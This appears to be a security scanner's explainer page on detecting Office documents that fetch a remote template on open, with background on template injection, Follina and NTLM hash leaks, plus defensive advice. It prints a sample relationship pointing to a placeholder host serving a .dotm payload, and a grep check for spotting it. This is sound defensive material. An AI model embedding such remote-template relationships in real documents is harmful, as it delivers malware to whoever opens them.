scan.now
Premium Scan a site

Office document loads a remote template

The document is attached to a template at a remote address, so opening it silently fetches content from an external server. This is how a macro is delivered without one being in the file.

Do this: Do not open it; it fetches code the moment you do. The document fetches a remote template when opened, which is a common way to deliver a payload past mail filters.
PassThe document does not reference a remote template.
HighThe document loads a template from a remote address when opened.

The fix, in one snippet

Example to adapt What is inside 
unzip -p doc.docx word/_rels/settings.xml.rels | grep attachedTemplate

Illustrative values. Change the paths, hostnames and options to match your own site before using it.

The sections below explain what is tested, why it matters and the alternatives.

What we test

Inside the OOXML package the scanner reads word/_rels/settings.xml.rels and word/_rels/document.xml.rels looking for relationships with TargetMode="External" whose target is an http://, https:// or UNC (\\server\share) path, and the matching <w:attachedTemplate> element in settings.xml. It also checks Excel external link relationships and Word altChunk parts that pull in remote HTML. A local template path such as Normal.dotm is normal and not flagged. Limits: the remote template is not fetched, so we cannot say what it contains; a target that no longer responds (a taken-down server) still marks the document as built for injection.

Why it matters

Template injection (MITRE T1221) splits the attack in two. The .docx you receive has no macro, so mail filters and the first Word warning see nothing; when you open it, Word fetches the attached .dotm from the attacker's server, and only then does the Enable Content prompt appear, from a document you have already decided to trust. The same relationship mechanism carried the CVE-2021-40444 MSHTML exploit and the Follina (CVE-2022-30190) ms-msdt exploit. A UNC target adds another problem: Windows attempts SMB authentication to the server and leaks your NTLMv2 hash on open. Office for Windows and Mac both resolve remote templates.

How to fix it

Keep the file in Protected View, which does not fetch external content; clicking Enable Editing is what triggers the request. To see the relationship yourself, rename the file to .zip and open word/_rels/settings.xml.rels:

<Relationship Id="rId1"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
  Target="http://203.0.113.9/t/x.dotm" TargetMode="External"/>

If you need the text, copy it into a new blank document and discard the original. Administrators: block outbound SMB (TCP 445) at the perimeter to stop hash leaks, keep the internet macro block enforced, and have the mail gateway flag OOXML files with external relationships. Guides: Office macro malware and how to spot phishing. Related check: Office macros.

Where this fits

Office document loads a remote template is check 11 of 20 that the file malware scanner runs under file structure and malware indicators, ordered the way they are worth fixing. That ordering is the point: Fixing this one while the check above it still fails buys less than it looks like.

Fix this one first

Above it in the same category sits Office document contains macros (high), where the Office document contains VBA macro code, which runs with your user privileges as soon as you click Enable Content. An attacker who has that does not need this, so it is the better use of the same hour.

What fixing this still leaves open

Office document loads a remote template closes one route in. Immediately below it: PDF contains JavaScript, where the PDF contains JavaScript, which Adobe Acrobat and some other readers execute when the document opens or when an action fires; PDF contains launch or open actions, where the PDF contains an action that fires when the file opens or when you interact with it, such as launching a program, opening a URL or submitting form data; Windows shortcut (.lnk) file, where the file is a Windows shortcut (.lnk), which can run any command line under any icon and any name, and is a favourite disguise for malware droppers.

Prompt for an AI Hand this check to an assistant Sign in to copy it
The first few lines 
You are a senior web engineer. I ran a security and SEO scanner against my site and it reported the finding below. Fix it properly rather than suppressing the symptom.

Finding: Office document loads a remote template (high severity)
Scanner check id: office-external-template
17 more lines, including the evidence and the exact fix

The rest of this prompt names the pages and line numbers we found the problem on, the configuration to change, and the constraints a good answer has to respect. It is free, it just needs an account so the work is not scraped wholesale.

Sign in with Google

Signing in is free and takes one click. We store your email address and nothing else.

References

  1. MITRE ATT&CK T1221: Template Injection
  2. Microsoft MSRC: Guidance for CVE-2022-30190 (Follina)
  3. ECMA-376: Office Open XML file formats
  4. Microsoft: What is Protected View?

Related guides

8 min read · Updated Sep 12, 2026 Office Macro Malware: Why 'Enable Content' Is Still the Most Dangerous Button

Word and Excel macros remain a leading malware delivery method because they run with your privileges. How macro droppers work, the newer...

Read the guide 8 min read · Updated Sep 13, 2026 How to Spot Phishing: URLs, Lookalike Domains, Urgency and the Checks That Work

Phishing succeeds by looking legitimate at a glance. This guide teaches the checks that hold up: Reading a URL from the right end,...

Read the guide